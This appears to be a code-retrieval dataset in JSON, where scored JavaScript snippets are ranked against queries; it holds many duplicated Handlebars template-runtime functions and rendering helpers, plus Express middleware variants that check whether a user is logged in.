env);\n return partials[name](context, options);\n } else {\n throw new Exception(\"The partial \" + name + \" could not be compiled when running in runtime-only mode\");\n }\n };\n\n // Just add water\n var container = {\n escapeExpression: Utils.escapeExpression,\n invokePartial: invokePartialWrapper,\n programs: [],\n program: function(i, fn, data) {\n var programWrapper = this.programs[i];\n if(data) {\n programWrapper = program(i, fn, data);\n } else if (!programWrapper) {\n programWrapper = this.programs[i] = program(i, fn);\n }\n return programWrapper;\n },\n merge: function(param, common) {\n var ret = param || common;\n\n if (param && common && (param !== common)) {\n ret = {};\n Utils.extend(ret, common);\n Utils.extend(ret, param);\n }\n return ret;\n },\n programWithDepth: env.VM.programWithDepth,\n noop: env.VM.noop,\n compilerInfo: null\n };\n\n return function(context, options) {\n options = options || {};\n var namespace = options.partial ? options : env,\n helpers,\n partials;\n\n if (!options.partial) {\n helpers = options.helpers;\n partials = options.partials;\n }\n var result = templateSpec.call(\n container,\n namespace, context,\n helpers,\n partials,\n options.data);\n\n if (!options.partial) {\n env.VM.checkRevision(container.compilerInfo);\n }\n\n return result;\n };\n }", "title": "" }, { "docid": "65719912bc19bfbb99efd5ce4c59ca50", "score": "0.5426224", "text": "function template(templateSpec, env) {\n if (!env) {\n throw new Exception(\"No environment passed to template\");\n }\n\n // Note: Using env.VM references rather than local var references throughout this section to allow\n // for external users to override these as psuedo-supported APIs.\n var invokePartialWrapper = function(partial, name, context, helpers, partials, data) {\n var result = env.VM.invokePartial.apply(this, arguments);\n if (result != null) { return result; }\n\n if (env.compile) {\n var options = { helpers: helpers, partials: partials, data: data };\n partials[name] = env.compile(partial, { data: data !== undefined }, env);\n return partials[name](context, options);\n } else {\n throw new Exception(\"The partial \" + name + \" could not be compiled when running in runtime-only mode\");\n }\n };\n\n // Just add water\n var container = {\n escapeExpression: Utils.escapeExpression,\n invokePartial: invokePartialWrapper,\n programs: [],\n program: function(i, fn, data) {\n var programWrapper = this.programs[i];\n if(data) {\n programWrapper = program(i, fn, data);\n } else if (!programWrapper) {\n programWrapper = this.programs[i] = program(i, fn);\n }\n return programWrapper;\n },\n merge: function(param, common) {\n var ret = param || common;\n\n if (param && common && (param !== common)) {\n ret = {};\n Utils.extend(ret, common);\n Utils.extend(ret, param);\n }\n return ret;\n },\n programWithDepth: env.VM.programWithDepth,\n noop: env.VM.noop,\n compilerInfo: null\n };\n\n return function(context, options) {\n options = options || {};\n var namespace = options.partial ? options : env,\n helpers,\n partials;\n\n if (!options.partial) {\n helpers = options.helpers;\n partials = options.partials;\n }\n var result = templateSpec.call(\n container,\n namespace, context,\n helpers,\n partials,\n options.data);\n\n if (!options.partial) {\n env.VM.checkRevision(container.compilerInfo);\n }\n\n return result;\n };\n }", "title": "" }, { "docid": "19782922638c7de637ae19324d444e46", "score": "0.5425809", "text": "_render () {}", "title": "" }, { "docid": "c973bbe6e54c3b745ba7f7347b32bc1f", "score": "0.5417789", "text": "function render_template(type, object) {\n try {\n return new EJS({text: __templates[type]}).render(object);\n } catch (e) {\n //console.error(e);\n return \"\";\n }\n}", "title": "" }, { "docid": "92f669d56e10ef127c6d7f765d8738d6", "score": "0.5411257", "text": "function renderPageSections() {\n document.getElementById( 'basket' ).innerHTML = Yum.basket.render( Yum.products );\n document.getElementById( 'basket_content').innerHTML = Yum.basket.renderBubble( Yum.products );\n document.getElementById( 'juices' ).innerHTML = Yum.products.renderCategoryStock( 'juice' );\n document.getElementById( 'smoothies' ).innerHTML = Yum.products.renderCategoryStock( 'smoothie' );\n document.getElementById( 'glutenfree' ).innerHTML = Yum.products.renderGlutenFreeStock();\n document.getElementById( 'dairyfree' ).innerHTML = Yum.products.renderDairyFreeStock();\n document.getElementById( 'home' ).innerHTML = Yum.products.renderTopSellers();\n}", "title": "" }, { "docid": "30a0f44aa53b6241188c18d3047ed7d2", "score": "0.54112166", "text": "function template(templateSpec, env) {\n if (!env) {\n throw new Error(\"No environment passed to template\");\n }\n\n // Note: Using env.VM references rather than local var references throughout this section to allow\n // for external users to override these as psuedo-supported APIs.\n var invokePartialWrapper = function(partial, name, context, helpers, partials, data) {\n var result = env.VM.invokePartial.apply(this, arguments);\n if (result != null) { return result; }\n\n if (env.compile) {\n var options = { helpers: helpers, partials: partials, data: data };\n partials[name] = env.compile(partial, { data: data !== undefined }, env);\n return partials[name](context, options);\n } else {\n throw new Exception(\"The partial \" + name + \" could not be compiled when running in runtime-only mode\");\n }\n };\n\n // Just add water\n var container = {\n escapeExpression: Utils.escapeExpression,\n invokePartial: invokePartialWrapper,\n programs: [],\n program: function(i, fn, data) {\n var programWrapper = this.programs[i];\n if(data) {\n programWrapper = program(i, fn, data);\n } else if (!programWrapper) {\n programWrapper = this.programs[i] = program(i, fn);\n }\n return programWrapper;\n },\n merge: function(param, common) {\n var ret = param || common;\n\n if (param && common && (param !== common)) {\n ret = {};\n Utils.extend(ret, common);\n Utils.extend(ret, param);\n }\n return ret;\n },\n programWithDepth: env.VM.programWithDepth,\n noop: env.VM.noop,\n compilerInfo: null\n };\n\n return function(context, options) {\n options = options || {};\n var namespace = options.partial ? options : env,\n helpers,\n partials;\n\n if (!options.partial) {\n helpers = options.helpers;\n partials = options.partials;\n }\n var result = templateSpec.call(\n container,\n namespace, context,\n helpers,\n partials,\n options.data);\n\n if (!options.partial) {\n env.VM.checkRevision(container.compilerInfo);\n }\n\n return result;\n };\n }", "title": "" }, { "docid": "30a0f44aa53b6241188c18d3047ed7d2", "score": "0.54112166", "text": "function template(templateSpec, env) {\n if (!env) {\n throw new Error(\"No environment passed to template\");\n }\n\n // Note: Using env.VM references rather than local var references throughout this section to allow\n // for external users to override these as psuedo-supported APIs.\n var invokePartialWrapper = function(partial, name, context, helpers, partials, data) {\n var result = env.VM.invokePartial.apply(this, arguments);\n if (result != null) { return result; }\n\n if (env.compile) {\n var options = { helpers: helpers, partials: partials, data: data };\n partials[name] = env.compile(partial, { data: data !== undefined }, env);\n return partials[name](context, options);\n } else {\n throw new Exception(\"The partial \" + name + \" could not be compiled when running in runtime-only mode\");\n }\n };\n\n // Just add water\n var container = {\n escapeExpression: Utils.escapeExpression,\n invokePartial: invokePartialWrapper,\n programs: [],\n program: function(i, fn, data) {\n var programWrapper = this.programs[i];\n if(data) {\n programWrapper = program(i, fn, data);\n } else if (!programWrapper) {\n programWrapper = this.programs[i] = program(i, fn);\n }\n return programWrapper;\n },\n merge: function(param, common) {\n var ret = param || common;\n\n if (param && common && (param !== common)) {\n ret = {};\n Utils.extend(ret, common);\n Utils.extend(ret, param);\n }\n return ret;\n },\n programWithDepth: env.VM.programWithDepth,\n noop: env.VM.noop,\n compilerInfo: null\n };\n\n return function(context, options) {\n options = options || {};\n var namespace = options.partial ? options : env,\n helpers,\n partials;\n\n if (!options.partial) {\n helpers = options.helpers;\n partials = options.partials;\n }\n var result = templateSpec.call(\n container,\n namespace, context,\n helpers,\n partials,\n options.data);\n\n if (!options.partial) {\n env.VM.checkRevision(container.compilerInfo);\n }\n\n return result;\n };\n }", "title": "" }, { "docid": "bb6edd71dc2ee0d07e5c711b04d5253d", "score": "0.539787", "text": "function showTemplate(template, data){\r\n var html = template(data);\r\n $('#content').html(html);\r\n}", "title": "" }, { "docid": "677354bdb8916807c8578be88525e78e", "score": "0.53969276", "text": "function renderTemplate(element, template, object){\n var renderedTemplate = Mustache.to_html(template, object);\n element.html(renderedTemplate);\n }", "title": "" }, { "docid": "9af443ec89198578b5fd2a5b17babc60", "score": "0.53945875", "text": "function template(templateSpec, env) {\n if (!env) {\n throw new Exception(\"No environment passed to template\");\n }\n\n // Note: Using env.VM references rather than local var references throughout this section to allow\n // for external users to override these as psuedo-supported APIs.\n var invokePartialWrapper = function(partial, name, context, helpers, partials, data) {\n var result = env.VM.invokePartial.apply(this, arguments);\n if (result != null) { return result; }\n\n if (env.compile) {\n var options = { helpers: helpers, partials: partials, data: data };\n partials[name] = env.compile(partial, { data: data !== undefined }, env);\n return partials[name](context, options);\n } else {\n throw new Exception(\"The partial \" + name + \" could not be compiled when running in runtime-only mode\");\n }\n };\n\n // Just add water\n var container = {\n escapeExpression: Utils.escapeExpression,\n invokePartial: invokePartialWrapper,\n programs: [],\n program: function(i, fn, data) {\n var programWrapper = this.programs[i];\n if(data) {\n programWrapper = program(i, fn, data);\n } else if (!programWrapper) {\n programWrapper = this.programs[i] = program(i, fn);\n }\n return programWrapper;\n },\n merge: function(param, common) {\n var ret = param || common;\n\n if (param && common && (param !== common)) {\n ret = {};\n Utils.extend(ret, common);\n Utils.extend(ret, param);\n }\n return ret;\n },\n programWithDepth: env.VM.programWithDepth,\n noop: env.VM.noop,\n compilerInfo: null\n };\n\n return function(context, options) {\n options = options || {};\n var namespace = options.partial ? options : env,\n helpers,\n partials;\n\n if (!options.partial) {\n helpers = options.helpers;\n partials = options.partials;\n }\n var result = templateSpec.call(\n container,\n namespace, context,\n helpers,\n partials,\n options.data);\n\n if (!options.partial) {\n env.VM.checkRevision(container.compilerInfo);\n }\n\n return result;\n };\n}", "title": "" }, { "docid": "9af443ec89198578b5fd2a5b17babc60", "score": "0.53945875", "text": "function template(templateSpec, env) {\n if (!env) {\n throw new Exception(\"No environment passed to template\");\n }\n\n // Note: Using env.VM references rather than local var references throughout this section to allow\n // for external users to override these as psuedo-supported APIs.\n var invokePartialWrapper = function(partial, name, context, helpers, partials, data) {\n var result = env.VM.invokePartial.apply(this, arguments);\n if (result != null) { return result; }\n\n if (env.compile) {\n var options = { helpers: helpers, partials: partials, data: data };\n partials[name] = env.compile(partial, { data: data !== undefined }, env);\n return partials[name](context, options);\n } else {\n throw new Exception(\"The partial \" + name + \" could not be compiled when running in runtime-only mode\");\n }\n };\n\n // Just add water\n var container = {\n escapeExpression: Utils.escapeExpression,\n invokePartial: invokePartialWrapper,\n programs: [],\n program: function(i, fn, data) {\n var programWrapper = this.programs[i];\n if(data) {\n programWrapper = program(i, fn, data);\n } else if (!programWrapper) {\n programWrapper = this.programs[i] = program(i, fn);\n }\n return programWrapper;\n },\n merge: function(param, common) {\n var ret = param || common;\n\n if (param && common && (param !== common)) {\n ret = {};\n Utils.extend(ret, common);\n Utils.extend(ret, param);\n }\n return ret;\n },\n programWithDepth: env.VM.programWithDepth,\n noop: env.VM.noop,\n compilerInfo: null\n };\n\n return function(context, options) {\n options = options || {};\n var namespace = options.partial ? options : env,\n helpers,\n partials;\n\n if (!options.partial) {\n helpers = options.helpers;\n partials = options.partials;\n }\n var result = templateSpec.call(\n container,\n namespace, context,\n helpers,\n partials,\n options.data);\n\n if (!options.partial) {\n env.VM.checkRevision(container.compilerInfo);\n }\n\n return result;\n };\n}", "title": "" }, { "docid": "9af443ec89198578b5fd2a5b17babc60", "score": "0.53945875", "text": "function template(templateSpec, env) {\n if (!env) {\n throw new Exception(\"No environment passed to template\");\n }\n\n // Note: Using env.VM references rather than local var references throughout this section to allow\n // for external users to override these as psuedo-supported APIs.\n var invokePartialWrapper = function(partial, name, context, helpers, partials, data) {\n var result = env.VM.invokePartial.apply(this, arguments);\n if (result != null) { return result; }\n\n if (env.compile) {\n var options = { helpers: helpers, partials: partials, data: data };\n partials[name] = env.compile(partial, { data: data !== undefined }, env);\n return partials[name](context, options);\n } else {\n throw new Exception(\"The partial \" + name + \" could not be compiled when running in runtime-only mode\");\n }\n };\n\n // Just add water\n var container = {\n escapeExpression: Utils.escapeExpression,\n invokePartial: invokePartialWrapper,\n programs: [],\n program: function(i, fn, data) {\n var programWrapper = this.programs[i];\n if(data) {\n programWrapper = program(i, fn, data);\n } else if (!programWrapper) {\n programWrapper = this.programs[i] = program(i, fn);\n }\n return programWrapper;\n },\n merge: function(param, common) {\n var ret = param || common;\n\n if (param && common && (param !== common)) {\n ret = {};\n Utils.extend(ret, common);\n Utils.extend(ret, param);\n }\n return ret;\n },\n programWithDepth: env.VM.programWithDepth,\n noop: env.VM.noop,\n compilerInfo: null\n };\n\n return function(context, options) {\n options = options || {};\n var namespace = options.partial ? options : env,\n helpers,\n partials;\n\n if (!options.partial) {\n helpers = options.helpers;\n partials = options.partials;\n }\n var result = templateSpec.call(\n container,\n namespace, context,\n helpers,\n partials,\n options.data);\n\n if (!options.partial) {\n env.VM.checkRevision(container.compilerInfo);\n }\n\n return result;\n };\n}", "title": "" }, { "docid": "9af443ec89198578b5fd2a5b17babc60", "score": "0.53945875", "text": "function template(templateSpec, env) {\n if (!env) {\n throw new Exception(\"No environment passed to template\");\n }\n\n // Note: Using env.VM references rather than local var references throughout this section to allow\n // for external users to override these as psuedo-supported APIs.\n var invokePartialWrapper = function(partial, name, context, helpers, partials, data) {\n var result = env.VM.invokePartial.apply(this, arguments);\n if (result != null) { return result; }\n\n if (env.compile) {\n var options = { helpers: helpers, partials: partials, data: data };\n partials[name] = env.compile(partial, { data: data !== undefined }, env);\n return partials[name](context, options);\n } else {\n throw new Exception(\"The partial \" + name + \" could not be compiled when running in runtime-only mode\");\n }\n };\n\n // Just add water\n var container = {\n escapeExpression: Utils.escapeExpression,\n invokePartial: invokePartialWrapper,\n programs: [],\n program: function(i, fn, data) {\n var programWrapper = this.programs[i];\n if(data) {\n programWrapper = program(i, fn, data);\n } else if (!programWrapper) {\n programWrapper = this.programs[i] = program(i, fn);\n }\n return programWrapper;\n },\n merge: function(param, common) {\n var ret = param || common;\n\n if (param && common && (param !== common)) {\n ret = {};\n Utils.extend(ret, common);\n Utils.extend(ret, param);\n }\n return ret;\n },\n programWithDepth: env.VM.programWithDepth,\n noop: env.VM.noop,\n compilerInfo: null\n };\n\n return function(context, options) {\n options = options || {};\n var namespace = options.partial ? options : env,\n helpers,\n partials;\n\n if (!options.partial) {\n helpers = options.helpers;\n partials = options.partials;\n }\n var result = templateSpec.call(\n container,\n namespace, context,\n helpers,\n partials,\n options.data);\n\n if (!options.partial) {\n env.VM.checkRevision(container.compilerInfo);\n }\n\n return result;\n };\n}", "title": "" }, { "docid": "0c4d7b73fea23f599d248ac6e74aa441", "score": "0.53941417", "text": "function renderHandlebarsTemplate(inElement,withTemplate,withData){\n getTemplateAjax(withTemplate, function(template) {\n jqueryNoConflict(inElement).html(template(withData));\n })\n}", "title": "" }, { "docid": "62694ed4a074c8093713c3904a86c5b6", "score": "0.53861785", "text": "function renderHandlebarsTemplate(withTemplate,inElement,withData){\r\n getTemplateAjax(withTemplate, function(template) {\r\n jqueryNoConflict(inElement).html(template(withData));\r\n })\r\n}", "title": "" }, { "docid": "122826b06d9b1f9ca565c9053113b375", "score": "0.5379681", "text": "function template(templateSpec, env) {\n if (!env) {\n throw new Error(\"No environment passed to template\");\n }\n\n // Note: Using env.VM references rather than local var references throughout this section to allow\n // for external users to override these as psuedo-supported APIs.\n var invokePartialWrapper = function(partial, name, context, helpers, partials, data) {\n var result = env.VM.invokePartial.apply(this, arguments);\n if (result != null) { return result; }\n\n if (env.compile) {\n var options = { helpers: helpers, partials: partials, data: data };\n partials[name] = env.compile(partial, { data: data !== undefined }, env);\n return partials[name](context, options);\n } else {\n throw new Exception(\"The partial \" + name + \" could not be compiled when running in runtime-only mode\");\n }\n };\n\n // Just add water\n var container = {\n escapeExpression: Utils.escapeExpression,\n invokePartial: invokePartialWrapper,\n programs: [],\n program: function(i, fn, data) {\n var programWrapper = this.programs[i];\n if(data) {\n programWrapper = program(i, fn, data);\n } else if (!programWrapper) {\n programWrapper = this.programs[i] = program(i, fn);\n }\n return programWrapper;\n },\n merge: function(param, common) {\n var ret = param || common;\n\n if (param && common && (param !== common)) {\n ret = {};\n Utils.extend(ret, common);\n Utils.extend(ret, param);\n }\n return ret;\n },\n programWithDepth: env.VM.programWithDepth,\n noop: env.VM.noop,\n compilerInfo: null\n };\n\n return function(context, options) {\n options = options || {};\n var namespace = options.partial ? options : env,\n helpers,\n partials;\n\n if (!options.partial) {\n helpers = options.helpers;\n partials = options.partials;\n }\n var result = templateSpec.call(\n container,\n namespace, context,\n helpers,\n partials,\n options.data);\n\n if (!options.partial) {\n env.VM.checkRevision(container.compilerInfo);\n }\n\n return result;\n };\n}", "title": "" }, { "docid": "f981c1578a2d5232f4875c7a8d2ce3b2", "score": "0.53744745", "text": "function renderTemplate(templateName, containerName, dataObj, callBackFunction, animateFunction) {\n\n\t\t// render the template based on Id\n\t\tvar render = (typeof dataObj === 'undefined') \n\t\t\t\t\t\t\t? $('#' + templateName).render()\n\t\t\t\t\t\t\t: $('#' + templateName).render(dataObj);\n\t\t\n\t\t(typeof (animateFunction) === 'function')\n\t\t\t\t\t\t\t? animateFunction(render)\n\t\t\t\t\t\t\t: $('#' + containerName).html(render);\n\t\t\n\t\tif (typeof (callBackFunction) === 'function') {\n\t\t\tcallBackFunction(dataObj);\n\t\t}\n\n\t}", "title": "" }, { "docid": "2119a5f510378d80df460a286f693643", "score": "0.53624374", "text": "renderIncDom() {\n\t\tvar elementTemplate = this.component_.constructor.TEMPLATE;\n\t\tif (core.isFunction(elementTemplate)) {\n\t\t\telementTemplate = SoyAop.getOriginalFn(elementTemplate);\n\t\t\tthis.addMissingStateKeys_(elementTemplate.params);\n\n\t\t\tSoyAop.startInterception(Soy.handleInterceptedCall_);\n\t\t\telementTemplate(this.buildTemplateData_(), null, ijData);\n\t\t\tSoyAop.stopInterception();\n\t\t} else {\n\t\t\tsuper.renderIncDom();\n\t\t}\n\t}", "title": "" }, { "docid": "dfd2cc406c394c1ea81823d963cdcb24", "score": "0.53551614", "text": "onTemplateLoaded() {\n }", "title": "" }, { "docid": "4861619ea2765003d17ece4d0286cacb", "score": "0.5349673", "text": "function renderHandlebarsTemplate(withTemplate,inElement,withData){\n getTemplateAjax(withTemplate, function(template) {\n jqueryNoConflict(inElement).html(template(withData));\n })\n}", "title": "" }, { "docid": "4861619ea2765003d17ece4d0286cacb", "score": "0.5349673", "text": "function renderHandlebarsTemplate(withTemplate,inElement,withData){\n getTemplateAjax(withTemplate, function(template) {\n jqueryNoConflict(inElement).html(template(withData));\n })\n}", "title": "" }, { "docid": "4861619ea2765003d17ece4d0286cacb", "score": "0.5349673", "text": "function renderHandlebarsTemplate(withTemplate,inElement,withData){\n getTemplateAjax(withTemplate, function(template) {\n jqueryNoConflict(inElement).html(template(withData));\n })\n}", "title": "" }, { "docid": "37077adbdff8e7469721c940e5ff4c7c", "score": "0.53446925", "text": "function mytemplate(itemPromise) {\n return itemPromise.then(function (currentItem) {\n if (currentItem.data.type === \"item\") {\n return renderItem(currentItem.data);\n\n } else {\n return renderTableOfContents(currentItem.data, currentItem.key);\n }\n });\n }", "title": "" }, { "docid": "28548b1fe69482503ef4920dfcfb19f9", "score": "0.53362006", "text": "dorender(ctx) {}", "title": "" }, { "docid": "da9615da6b70a12b798c2156f5c86c4c", "score": "0.53352475", "text": "renderDocument(opts, next) {\n\t\t\t// Prepare\n\t\t\tconst me = this\n\t\t\tconst { templateData, file } = opts\n\n\t\t\t// Check\n\t\t\tconst partialContainerRegex = /\\[partial:([^\\]]+)\\]/g\n\t\t\tconst partialContainers =\n\t\t\t\t(opts.content || '').match(partialContainerRegex) || []\n\t\t\tif (partialContainers.length === 0) {\n\t\t\t\treturn next()\n\t\t\t}\n\t\t\tconst filePath = file.getFilePath()\n\n\t\t\t// Prepare\n\t\t\tconst tasks = new TaskGroup(`Partials for ${filePath}`, {\n\t\t\t\tconcurrency: 0,\n\t\t\t}).done(function (err) {\n\t\t\t\t// Replace containers with results\n\t\t\t\topts.content = opts.content.replace(partialContainerRegex, function (\n\t\t\t\t\tmatch,\n\t\t\t\t\tpartialId\n\t\t\t\t) {\n\t\t\t\t\t// Fetch partial\n\t\t\t\t\tconst partial = me.foundPartials[partialId]\n\n\t\t\t\t\t// Return result\n\t\t\t\t\treturn partial.result\n\t\t\t\t})\n\n\t\t\t\t// Complete\n\t\t\t\treturn next(err)\n\t\t\t})\n\n\t\t\t// Wait for found partials to complete rendering\n\t\t\tpartialContainers.forEach(function (partialContainer) {\n\t\t\t\t// Fetch partial\n\t\t\t\tconst partialId = partialContainer.replace(partialContainerRegex, '$1')\n\t\t\t\tconst partial = me.foundPartials[partialId]\n\n\t\t\t\t// Wait for all the partials to complete rendering\n\t\t\t\tif (partial.task) {\n\t\t\t\t\ttasks.addTask(partial.task)\n\t\t\t\t}\n\t\t\t})\n\n\t\t\t// Run the tasks\n\t\t\ttasks.run()\n\t\t}", "title": "" }, { "docid": "2fbfeb2ac42e5a7195d764fe40580f15", "score": "0.5325817", "text": "function drawTemplateInfo(page) {\n console.log(page);\n\n const generalInfo = `\n<div class=\"menu-title\">\n <h2>${page.title}rmation</h2>\n </div>\n\n <div class=\"info-div-wrapper\">\n <div class=\"main-info\">${page.general_info}</div>\n\n <div class=\"side-note\">\n <div>\n <div class=\"proh-signs\">\n <img src=\"${page.smoke_sign}\" alt=\"\">\n <img src=\"${page.drink_sign}\" alt=\"\">\n </div>\n <h1>${page.policies} </h1>\n </div>\n <img src=\"${page.figure}\" alt=\"\">\n </div>\n\n </div>\n`;\n\n const MoreInfo = `\n<div class=\"menu-title\">\n <h2>More Information</h2>\n </div>\n\n <div class=\"info-div-wrapper\">\n\n\n <div class=\"main-info\">\n\n <p>\n <span>Guards:</span> <br>\n ${page.security}.</p> \n\n <p>\n <span>Parking:</span> <br>\n ${page.parking}\n <p>\n <span>Accommodation:</span> <br>\n ${page.accomodation}\n </p> \n\n </div>\n\n <div class=\"side-note\">\n \n ${getEmployesHere()}\n </div>\n\n\n </div>\n`;\n\n\n document.querySelector('#sectionOne').classList.add('info-1');\n document.querySelector('#sectionOne').style.backgroundColor = page.header_color;\n document.querySelector('#sectionTwo').classList.add('info-2');\n\n renderHTML(\"#sectionOne\", generalInfo);\n renderHTML(\"#sectionTwo\", MoreInfo);\n\n}", "title": "" }, { "docid": "ec23d56b67bfc8ce2fa2afe3e5821b5f", "score": "0.5324683", "text": "function template(index, templateFn, consts, vars, tagName, attrs, localRefs, localRefExtractor) {\n var lView = getLView();\n var tView = lView[TVIEW];\n // TODO: consider a separate node type for templates\n var tNode = containerInternal(index, tagName || null, attrs || null);\n if (getFirstTemplatePass()) {\n tNode.tViews = createTView(-1, templateFn, consts, vars, tView.directiveRegistry, tView.pipeRegistry, null);\n }\n createDirectivesAndLocals(tView, lView, localRefs, localRefExtractor);\n var currentQueries = lView[QUERIES];\n var previousOrParentTNode = getPreviousOrParentTNode();\n var native = getNativeByTNode(previousOrParentTNode, lView);\n attachPatchData(native, lView);\n if (currentQueries) {\n lView[QUERIES] = currentQueries.addNode(previousOrParentTNode);\n }\n queueLifecycleHooks(tView, tNode);\n setIsParent(false);\n}", "title": "" } ]
03391ff47d5eed533c0536378ed245c6
route middleware to make sure a user is logged in
[ { "docid": "369dc8201e919dedf873ba6354fd2b4f", "score": "0.0", "text": "function isLoggedIn(req, res, next) {\n\n // if user is authenticated in the session, carry on \n if (req.isAuthenticated()) {\n return next();\n }\n\n // if they aren't redirect them to the home page\n res.redirect('/#/');\n}", "title": "" } ]
[ { "docid": "477f3232fc6931cd5bdaad9a454b0092", "score": "0.78756756", "text": "function isLoggedIn(req, res, next) {\n\tconsole.log('isLoggedIn middleware');\n if (req.isAuthenticated()) {\n \treturn next();\n } else {\n \tres.redirect('/users');\n }\n}", "title": "" }, { "docid": "269da35558f5e2ef3b319926511b357a", "score": "0.7838942", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated()) return next();\n else res.redirect('/signin');\n }", "title": "" }, { "docid": "ae311a188635db4ebcc6221339e1d2b9", "score": "0.7822098", "text": "function isLoggedIn(request, response, next){\n // If they are authenticated, carry on\n if(request.isAuthenticated()){ return next();}\n // If they aren't, redirect them to the home page\n response.redirect('/');\n}", "title": "" }, { "docid": "b543c41814d6f6500eb919761b181423", "score": "0.78155315", "text": "function isLoggedIn(req, res, next){\n if (req.isAuthenticated())\n return next();\n res.redirect('/signin');\n }", "title": "" }, { "docid": "25fa0c21abdc5303253df067597923fa", "score": "0.77986485", "text": "function isLoggedIn(req,res,next){\n\n //if user is authenticated, go on\n if(req.isAuthenticated()){\n console.log(\"User is authenticated\")\n return next();\n }\n else{ //if not authenticated, redirect to homepage\n res.redirect(\"/\");\n }\n}", "title": "" }, { "docid": "4658612cf58d4efb9ac47ea4213a5a3e", "score": "0.77795565", "text": "function isLoggedIn(req, res, next) {\n // if the user is authenticated, proceed to the request route\n if (req.isAuthenticated()) return next()\n // Otherwise, return them to the login page\n res.redirect('/users/login');\n}", "title": "" }, { "docid": "9fa5f76d7aad72eea11d32a5baf6aed1", "score": "0.77720815", "text": "function isloggedIn(req,res,next){\n if (req.isAuthenticated()) return next();\n res.redirect('/users/login');\n}", "title": "" }, { "docid": "105d4577a91da9bed03ca86245171642", "score": "0.7754788", "text": "function isLoggedIn(req, res, next) {\n if (req.user) return next();\n res.redirect('/');\n}", "title": "" }, { "docid": "2b346bf40155d443c89b7bfc5bd1fe2f", "score": "0.7752611", "text": "function isLoggedIn(req, res, next){\n if(req.isAuthenticated()){\n next();\n }else{\n res.redirect('/');\n }\n}", "title": "" }, { "docid": "4a72534a6c6fd71188e43c56b5aee08a", "score": "0.77517444", "text": "function isLoggedIn(request, response, next) {\n // if user is authenticated in the session, carry on\n if (request.isAuthenticated())\n return next();\n // if they aren't redirect them to the starting page\n response.redirect('/');\n}", "title": "" }, { "docid": "c20120193fbfdae12b2406cf091bb14a", "score": "0.7750372", "text": "function isLoggedIn(req, res, next) {\r\n if (req.isAuthenticated()) {\r\n return next();\r\n }\r\n res.redirect('/');\r\n}", "title": "" }, { "docid": "35bc7cc65e35a1836fd0c92f3e7575d0", "score": "0.7749515", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n res.redirect('/');\n }", "title": "" }, { "docid": "45884d47247e2466fb06f6f75eaa567c", "score": "0.7748903", "text": "function isLoggedIn(req, res, next){\n if(req.isAuthenticated()) {\n return next();\n } else {\n res.redirect('/signin');\n }\n }", "title": "" }, { "docid": "2cbd4363fd237df4f7e1208aeaf862ef", "score": "0.77365285", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated()) return next();\n res.redirect('/');\n}", "title": "" }, { "docid": "5e6a33141a7b3aba019936a0edc61bf0", "score": "0.7729117", "text": "function isLoggedIn(req,res,next){\n if(req.isAuthenticated()) return next()\n res.redirect('/')\n}", "title": "" }, { "docid": "8caf4c86df615055645df52ed48844d2", "score": "0.7725971", "text": "function loggedIn(req, res, next) {\n if (req.user) {\n next();\n } else {\n res.redirect('/login');\n }\n}", "title": "" }, { "docid": "16c0b47cb1b6746520494c49e9089a82", "score": "0.7717677", "text": "function isLoggedIn(req, res, next) {\n console.log(\"Show User: \", req.isAuthenticated())\n\n // if user is authenticated in the session, carry on\n if (req.isAuthenticated())\n return next();\n\n // if they aren't redirect them to the home page\n res.redirect('/');\n\n}", "title": "" }, { "docid": "76a59a74a4d9a7d8e47e812be020ef08", "score": "0.771586", "text": "function isLoggedIn(req,res,next){\n if(req.isAuthenticated())\n return next();\n\n res.redirect('/');\n}", "title": "" }, { "docid": "ff8aee9918d3d2fe39dd1c22b73e7687", "score": "0.77155524", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n \n res.redirect('/');\n}", "title": "" }, { "docid": "ea2ce7960b72daa30f6cd3c996dcf098", "score": "0.77146655", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n res.redirect('/#/');\n }", "title": "" }, { "docid": "d3e02f9baf9cee39de131366f763b63a", "score": "0.7714217", "text": "function isLoggedIn(req, res, next){\r\n //if user is authenticated, carry on\r\n if (req.isAuthenticated()){\r\n return next();\r\n } else {\r\n req.flash('info', 'Please log in.')\r\n res.redirect('/login');\r\n }\r\n}", "title": "" }, { "docid": "d531a34c01225b21addb4f598b8299bb", "score": "0.77090335", "text": "function isLoggedIn(req, res, next) {\r\n if (req.isAuthenticated())\r\n return next();\r\n\r\n res.redirect('/');\r\n}", "title": "" }, { "docid": "d531a34c01225b21addb4f598b8299bb", "score": "0.77090335", "text": "function isLoggedIn(req, res, next) {\r\n if (req.isAuthenticated())\r\n return next();\r\n\r\n res.redirect('/');\r\n}", "title": "" }, { "docid": "467a0769c4e5300ceadc55d9b6f3cea8", "score": "0.7706973", "text": "function isLoggedIn(req, res, next) {\r\n if (req.isAuthenticated()) {\r\n return next();\r\n } else {\r\n res.redirect(\"/\");\r\n }\r\n}", "title": "" }, { "docid": "e5032edaf98760b94845ad30b430e09f", "score": "0.7705176", "text": "function isLoggedIn(req, res, next) {\n\n if (req.isAuthenticated()) {\n return next();\n }\n\n res.redirect('/');\n\n}", "title": "" }, { "docid": "7d20062bf25140efabd232d8a1664522", "score": "0.77023846", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated()) \n return next();\n \n res.redirect('/');\n}", "title": "" }, { "docid": "7856f9836dbde6eabf644417c31cbb40", "score": "0.7698749", "text": "function isLoggedIn(req, res, next) {\n\n // if user is authenticated in the session, carry on \n if (req.isAuthenticated())\n return next();\n\n // if they aren't redirect them to the home page\n res.redirect('/');\n \n \n}", "title": "" }, { "docid": "9c137013f3e4e8aea72a0847a620cdd5", "score": "0.7696627", "text": "isLoggedIn(req, res, next) {\n if (req.isAuthenticated()) return next();\n res.redirect(\"/login\");\n }", "title": "" }, { "docid": "3f683a7bf652dc68d7a9dc64cfad5f19", "score": "0.7695087", "text": "function isLoggedIn(req, res, next){\r\n if(req.isAuthenticated()){\r\n return next();\r\n }\r\n res.redirect(\"/login\");\r\n}", "title": "" }, { "docid": "459ad9b0f9c32ab2e4f0a65c53086f20", "score": "0.7692393", "text": "function isLoggedIn(req, res, next) {\n if (req.isAuthenticated())\n return next();\n res.redirect('/');\n}", "title": "" }, { "docid": "459ad9b0f9c32ab2e4f0a65c53086f20", "score": "0.7692393", 